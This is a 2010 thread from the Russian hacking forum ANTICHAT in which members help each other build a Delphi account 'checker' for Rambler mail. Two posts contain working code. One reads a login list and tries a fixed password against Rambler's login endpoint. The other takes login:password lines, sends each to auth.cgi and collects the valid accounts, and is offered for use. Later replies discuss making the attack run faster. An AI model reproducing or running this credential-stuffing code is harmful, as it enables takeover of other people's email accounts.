HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 22.04.2010, 10:49
Serbies
Познающий
Регистрация: 26.12.2006
Сообщений: 31
С нами: 10196777

Репутация: 10
По умолчанию

Цитата:
Сообщение от aydar  
Дельфи
Если авторизация прошла успешно то нас отправляют сюда http://mail.rambler.ru/mail/startpage
Если нет то сюда http://id.rambler.ru/script/auth.cgi?mode=login
я не советую то что предложил ZdezBilYa - потому как метод хоть и выглядит легко, но у него подводный камень - скорость(хотя могит что то и изменилось за пару лет).
В твоем же случае могу посоветовать соккеты(сам исходник подобного чеккера не приведу так во первых он уже у меня где то сгинул, а во вторых самому будет полезно сделать мб и увлекательно)
Вот ссылки:
http://delphiworld.narod.ru/base/socket_get_page.html - вот это основа
http://delphiworld.narod.ru/base/socket_combine_blocks.html - это мб подводный камень
и еще поставь себе wareshark - полезная программа - там как раз посмотришь что и куда отправляецо и что принимаецо
 
Ответить с цитированием

  #12  
Старый 22.04.2010, 14:46
aydar
Участник форума
Регистрация: 12.11.2009
Сообщений: 160
С нами: 8681602

Репутация: 11
По умолчанию

вот небольшие сырые наработки, пока без паролей

Цитата:
procedure TForm1.Button1Click(Sender: TObject);
var
params : tstringlist;
login,mail,s:string;
f:TextFile;

begin
login:='1aydar1992';
params := TStringList.Create;
AssignFile(f,'bazamail.txt');
reset(f);
while not eof(f) do
begin
readln(f,login);
try
params.Add('back=http://mail.rambler.ru/mail/startpage');
params.Add('login='+login);
params.Add('domain=rambler.ru');
params.Add('passw=1234567q');
memo1.Text := IdHTTP1.Post('http://id.rambler.ru/script/auth.cgi',params);
finally
if Pos('logout',memo1.Text)>0 then
memo2.text:=login else memo3.text:=login;
params.Free;
end;
end;
CloseFile(f);
end;
end.
 
Ответить с цитированием

  #13  
Старый 22.04.2010, 16:19
1n0y
Участник форума
Регистрация: 09.05.2009
Сообщений: 186
С нами: 8951426

Репутация: 102
По умолчанию

Код:
procedure TForm1.Button1Click(Sender: TObject);
var
i:integer;
pass,mail,domain:string;
post, page:tstringlist;
begin
 for i:=0 to form1.memo1.lines.count-1 do
  begin
   pass:=copy(form1.memo1.lines[i], pos(':',form1.memo1.lines[i])+1, length(form1.memo1.lines[i]));
   mail:=form1.memo1.lines[i];
   delete(mail, pos('@', mail), length(mail));
    if ansipos('lenta.ru', form1.memo1.lines[i]) <>0 then
     domain:='lenta.ru';
    if ansipos('myrambler', form1.memo1.lines[i]) <>0 then
     domain:='myrambler.ru';
    if ansipos('autorambler', form1.memo1.lines[i]) <>0 then
     domain:='autorambler.ru';
    if ansipos('ro.ru', form1.memo1.lines[i]) <>0 then
     domain:='ro.ru';
    if ansipos('r0.ru', form1.memo1.lines[i]) <>0 then
     domain:='ro.ru';
    if ansipos('rambler.ru', form1.memo1.lines[i]) <>0 then
     domain:='rambler.ru';
   post:=tstringlist.create;
   page:=tstringlist.create;
   post.Add('back=http://mail.rambler.ru/mail/startpage');
   post.Add('login='+mail);
   post.Add('domain='+domain);
   post.Add('passw='+pass);
    try
     page.text:=IdHTTP1.Post('http://id.rambler.ru/script/auth.cgi',post);
    finally
     if ansipos('logout', page.text)<>0 then
      form1.Memo2.Lines.Add(form1.memo1.lines[i]);
     page.free;
     post.free;
    end;
  end;
end;
на форме кнопка и два мемо (1 и 2). если акк валид - выводица во второе мемо, если нет - не выводится

пользуйся на здоровье.
 
Ответить с цитированием

  #14  
Старый 22.04.2010, 16:29
aydar
Участник форума
Регистрация: 12.11.2009
Сообщений: 160
С нами: 8681602

Репутация: 11
По умолчанию

кстати в рамблере необязательно выбирать домен, можно вводить так lolka@rambler.ru, проверено
 
Ответить с цитированием

  #15  
Старый 22.04.2010, 22:15
aydar
Участник форума
Регистрация: 12.11.2009
Сообщений: 160
С нами: 8681602

Репутация: 11
По умолчанию

Народ а через чего быстрее делать идхттп ил винсок? или есть др способы?
 
Ответить с цитированием

  #16  
Старый 22.04.2010, 22:24
TrueBit
Познающий
Регистрация: 21.11.2009
Сообщений: 77
С нами: 8668804

Репутация: 29
По умолчанию

Цитата:
Сообщение от aydar  
Народ а через чего быстрее делать идхттп ил винсок?
Делать быстрее через инди, но работать будет быстрее через winsock
Цитата:
Сообщение от aydar  
или есть др способы?
wininet
 
Ответить с цитированием

  #17  
Старый 22.04.2010, 22:33
M_script_
Постоянный
Регистрация: 29.10.2008
Сообщений: 306
С нами: 9227388

Репутация: 180
По умолчанию

Цитата:
Сообщение от TrueBit  
но работать будет быстрее через winsock
Это скорее стереотип, чем факт.
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
серверный, многопоточный чекер + спамер ВКонтакте (vkontakte) dronline666 Покупка, продажа, услуги в Соц. Сетях 12 25.08.2009 20:54
Посоветуйте чекер прокси. _casper_ Болталка 10 18.06.2009 18:10
продам чекер вконтакте mazaxaka Покупка, продажа, услуги в Соц. Сетях 0 18.05.2009 23:04
Прокси личер, чекер etc podkashey Болталка 5 09.04.2009 06:02



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.